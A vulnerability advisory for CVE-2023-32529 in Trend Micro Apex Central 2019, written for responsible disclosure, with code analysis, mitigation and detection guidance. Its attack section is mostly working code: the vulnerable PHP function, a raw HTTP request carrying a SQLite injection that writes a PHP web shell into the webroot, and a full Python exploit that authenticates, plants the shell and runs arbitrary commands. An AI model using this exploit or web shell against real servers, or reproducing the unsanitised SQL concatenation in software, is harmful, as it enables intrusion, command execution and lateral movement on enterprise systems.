Summary:

Product Trend Micro Apex Central 2019
Vendor Trend Micro
Severity High
Affected Versions Apex Central 2019 Build <= 6016
Tested Version(s) Apex Central 2019 Build 6016
CVE Identifier CVE-2023-32529
CVE Description Missing input validation in Apex Central 2019 Build 6016 and below uses user-supplied certificate values to construct a part of a SQL query that is executed in the DeleteCertById() function. This results in an SQL injection vulnerability whereby an attacker can leverage to execute system commands in the context of the IUSR user.
CWE Classification(s) CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
CAPEC Classification(s) CAPEC-66: SQL Injection

CVSS3.1 Scoring System:

Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Trend Micro Apex Central™ is a web-based console that provides centralized management for Trend Micro products and services at the gateway, mail server, file server, and corporate desktop levels. Administrators can use the policy management feature to configure and deploy product settings to managed products and endpoints. The Apex Central web-based management console provides a single monitoring point for antivirus and content security products and services throughout the network.

Apex Central enables system administrators to monitor and report on activities such as infections, security violations, or virus/malware entry points. System administrators can download and deploy components, such as antivirus pattern files, scan engines, and antispam rules, throughout the network to ensure up-to-date protection. Apex Central allows both manual and pre-scheduled updates, and allows the configuration and administration of products as groups or as individuals for added flexibility. An authenticated attacker can use the vulnerability to execute arbitrary code on the target Trend Micro Apex Central instance. As the attack is targeted against the Trend Micro Apex Central instance, the attacker can gain access to other resources via lateral movements.

Vulnerability Summary:

It was discovered that at the modTMMS module endpoint, a SQL injection vulnerability exists. This allows an authenticated user of any role to perform SQL injection which can lead to Remote Code Execution on the server, even with the lowest-privilege role available.

Vulnerability Details:

The vulnerability sink is found in /Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php within the DeleteCertById() function:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

public function DeleteCertById($id)
	{
		mydebug_log("[DBHelper][DeleteCertById] In.");	
		$sql = "DELETE FROM tb_certificate WHERE Id = ".$id;
		//mydebug_log("[DBHelper][DeleteCertById] sql->".$sql);
		
		$ret = $this->dbh->exec($sql);
		return $ret;
	}

This function performs a DELETE operation on the database and the row to be deleted is obtained from the $id PHP variable, which contains data passed in as the function argument. Thus, there is an SQL injection vulnerability due to a lack of input sanitization. The database engine in use was revealed to be SQLite, based on its connection string:

try {
    $connectString = realpath(dirname(__FILE__).$this->db_file);
    $this->dbh = new PDO('sqlite:'.$connectString);
} catch(PDOException $e) {
    $this->message = "Failed to create db connection.";
    myerror_log("[DBHelper][__construct] ->".$this->message);
}

As the database used is SQLite, it is possible to perform an arbitrary file write to the webroot, which results in obtaining remote code execution on the server when writing a PHP file.

The vulnerable DeleteCertById() function is invoked through DeleteCert(), which is found at /Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function DeleteCert($id)
{
	mydebug_log("[DeleteCert] In.");
	$db_helper = new DBHelper();
	if($db_helper->isFailed())
	{
		return 0;
	}	
	return $db_helper->DeleteCertById($id);	// [1]
}

At [1], the function argument is passed on as an argument to the function DeleteCertById(). DeleteCert() is invoked through the endpoint at modTMMS’s proxy file, by specifying the module parameter to be “modTMMS” and tmms_cmd to be “delete_cert_vec”, and it will eventually invoke the vulnerable DeleteCertById() function:

POST /webapp/widget/proxy_controller.php HTTP/2
Host: 192.168.126.135
Cookie: ASP_NET_SessionId=w5lfgggmkrrjgdbfa2xauhi3; PHPSESSID=4ms8veqpa7i8a46dmivpjeaih7;
Content-Length: 466
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhx3JdXOddFA2nlGE

------WebKitFormBoundaryhx3JdXOddFA2nlGE
Content-Disposition: form-data; name="module"

modTMMS
------WebKitFormBoundaryhx3JdXOddFA2nlGE
Content-Disposition: form-data; name="tmms_cmd"

delete_cert_vec
------WebKitFormBoundaryhx3JdXOddFA2nlGE
Content-Disposition: form-data; name="cert_vec"

{"a":"-1;ATTACH DATABASE'REPOSI~1\\a.php'AS a;CREATE TABLE a.b(c text);INSERT INTO a.b VALUES(\"<?=`$_GET[c]`?>\");"}
------WebKitFormBoundaryhx3JdXOddFA2nlGE--

A PHP file at C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp\widget\repository\a.php would have been created successfully and the remote code execution can be achieved by sending a GET request to that page (actual web path /Webapp/widget/repository/a.php) and setting the GET parameter c to any system command:

Exploit Conditions:

This vulnerability can be exploited by having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

# Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE (CVE-2023-32529)
# Vector used: DeleteCert()
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import re
import requests
import sys
import urllib.parse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, cmd

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE (CVE-2023-32529) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    cmd = urllib.parse.quote(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def upload_web_shell():
    global s

    print("[+] Attempting to upload web shell...")

    files = {
        "module": (None, "modTMMS"),
        "tmms_cmd": (None, "delete_cert_vec"),
        "cert_vec": (None, "{\"a\":\"-1;ATTACH DATABASE'REPOSI~1\\\\a.php'AS a;CREATE TABLE a.b(c text);INSERT INTO a.b VALUES(\\\"<?=`$_GET[c]`?>\\\");\"}")
    }

    s.post("{}/webapp/widget/proxy_controller.php".format(target), files=files, verify=False)

def check_shell_and_rce():
    print("[+] Attempting to interact with web shell...")
    res = s.get("{}/webapp/widget/repository/a.php?c={}".format(target, cmd))

    if res.status_code != 200:
        print("[!] Failed to find the web shell! Is the system patched?")
        sys.exit(1)

    output = res.text.encode().split(b"\x11\x01\x02+")[1].decode()
    print("[+] Web shell is successfully uploaded at: {}/web/widget/repository/a.php?c={}".format(target, cmd))
    print("[+] Output of command:\n\n{}".format(output))

def main():
    check_args()
    authenticate()
    upload_web_shell()
    check_shell_and_rce()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Apex Central installation to the latest version as shown in Trend Micro’s Download Center.

Detection Guidance:

Seeing that the number of characters are limited for the name of the webshell, it is possible to detect the exploitation of this vulnerability by checking for the presence of suspicious PHP files in the C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp\widget\repository directory.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-06-13 Reported Vulnerability to Vendor via ZDI
  • 2022-07-26 Triaged and Reported by ZDI
  • 2022-12-19 Patch Released by Vendor
  • 2023-08-22 Public Release